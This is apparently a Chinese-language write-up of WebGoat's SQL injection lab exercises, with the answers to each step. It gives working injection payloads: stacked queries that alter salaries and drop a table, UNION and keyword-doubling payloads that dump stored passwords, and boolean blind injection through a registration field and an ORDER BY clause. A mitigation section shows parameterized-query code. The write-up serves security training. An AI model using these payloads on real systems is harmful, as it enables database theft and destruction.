【webGoat靶场】SQL Injection

目录

SQL

SQL Injection (intro)

SQL Injection (advanced)

SQL Injection (mitigation)


SQL

SQL Injection (intro)

2、

select department from employees where first_name='Bob'; 

【webGoat靶场】SQL Injection_第1张图片


3、

update employees set department='Sales' where first_name='Tobi'; 

【webGoat靶场】SQL Injection_第2张图片


4、

alter table employees add column phone varchar(20); 

【webGoat靶场】SQL Injection_第3张图片


5、

grant insert on grant_rights  to unauthorized_user 

【webGoat靶场】SQL Injection_第4张图片


9、

【webGoat靶场】SQL Injection_第5张图片


 10、

【webGoat靶场】SQL Injection_第6张图片


11、

【webGoat靶场】SQL Injection_第7张图片


12、

Smith&auth_tan=3SL99A'; update employees set salary = 999999 where last_name='Smith'; -- +

【webGoat靶场】SQL Injection_第8张图片


13、

1' drop table access_log;--+ 

【webGoat靶场】SQL Injection_第9张图片

 

SQL Injection (advanced)

3、

Dave' OR 1=1;SELECT * FROM user_system_data;--

【webGoat靶场】SQL Injection_第10张图片


5、

先尝试是否可以注册相同的用户名

“Tom”可以注册

"tom"进行注册时,提示该用户已注册

【webGoat靶场】SQL Injection_第11张图片

因为tom是对的,所以使用or的话,就永真

tom' or '1'='1

【webGoat靶场】SQL Injection_第12张图片

 tom' or '1'='2

【webGoat靶场】SQL Injection_第13张图片

考虑使用and

(显示的页面不一样,说明注册中的name处存在注入点)

tom' and 1=1--+【webGoat靶场】SQL Injection_第14张图片

 tom' and 1=2--+

【webGoat靶场】SQL Injection_第15张图片

接下来是bp抓包

1、然后保存到1.txt,再使用sqlmap跑

2、使用bp爆破

(不演示了)

tom

thisisasecretfortomonly

【webGoat靶场】SQL Injection_第16张图片


6、

43234

【webGoat靶场】SQL Injection_第17张图片

【webGoat靶场】SQL Injection_第18张图片

SQL Injection (mitigation)

5、

getConnection

PreparedStatement ps

prepareStatement

?

?

ps.setString(1, name);

ps.setString(2, mail)

【webGoat靶场】SQL Injection_第19张图片

【webGoat靶场】SQL Injection_第20张图片


6、

try{ 
    Connection conn = null;
    conn=DriverManager.getConnection(DBURL,DBUSER,DBPW);
    PreparedStatement ps=conn.prepareStatement("select * from users where name=?");
    ps.setString(1,"zy");
    ResultSet rs=ps.executeQuery(); 
} catch(Exception e){ 
    System.out.println("zeze");
}

【webGoat靶场】SQL Injection_第21张图片


9、

1'/**/;/**/select/**/user_name,password/**/from/**/user_system_data;--+

 【webGoat靶场】SQL Injection_第22张图片

1'/**/union/**/select/**/1,user_name,password,'1','2','3',4/**/from/**/user_system_data--+

【webGoat靶场】SQL Injection_第23张图片


10、

1'/**/union/**/selselectect/**/1,user_name,password,'1','2','3',4/**/frfromom/**/user_system_data--+

【webGoat靶场】SQL Injection_第24张图片

 1'/**/;/**/seselectlect/**/user_name,password/**/frfromom/**/user_system_data;--+

【webGoat靶场】SQL Injection_第25张图片


12、

题目提示:

1、获取主机名为webgoat-prd的服务器的IP地址

2、Submit 不存在SQL 注入

3、此题都是排序,肯定和order by有关

点Hostname排序,并抓包

找到了hostname——>column参数值是order by参数

【webGoat靶场】SQL Injection_第26张图片

 将hostname改为ip试试

(右侧出现排序结果)

【webGoat靶场】SQL Injection_第27张图片

此处被带入查询,使用不存在的列名,查看是否会报错

报出了查询语句

select id, hostname, ip, mac, status, description from servers  where status <> 'out of order' order by 1111

【webGoat靶场】SQL Injection_第28张图片

语法:select id, hostname, ip, mac, status, description from servers where status <> ‘out of order’ order by case when (true/false) then hostname else id end

order by后的条件,盲猜字段的每一个字符

when (true/false)真假判断,为true按hostname排序,为false按id排序

对ip进行盲注

ip最多有15位,每一位数是0-9

(case when (substring((select ip from servers where hostname=‘webgoat-prd’),1,1)=1) then hostname else id end)

(case%20when%20((select%20substring(ip,1,1)%20from%20servers%20where%20hostname=%27webgoat-prd%27)=1)%20then%20hostname%20else%20id%20end)

【webGoat靶场】SQL Injection_第29张图片

payload1

【webGoat靶场】SQL Injection_第30张图片

 payload2

【webGoat靶场】SQL Injection_第31张图片

【webGoat靶场】SQL Injection_第32张图片

查看回应包,成功排序的说明是我们需要的数值 

104.130.219.202

【webGoat靶场】SQL Injection_第33张图片

你可能感兴趣的:(#,webgoat靶场,web安全)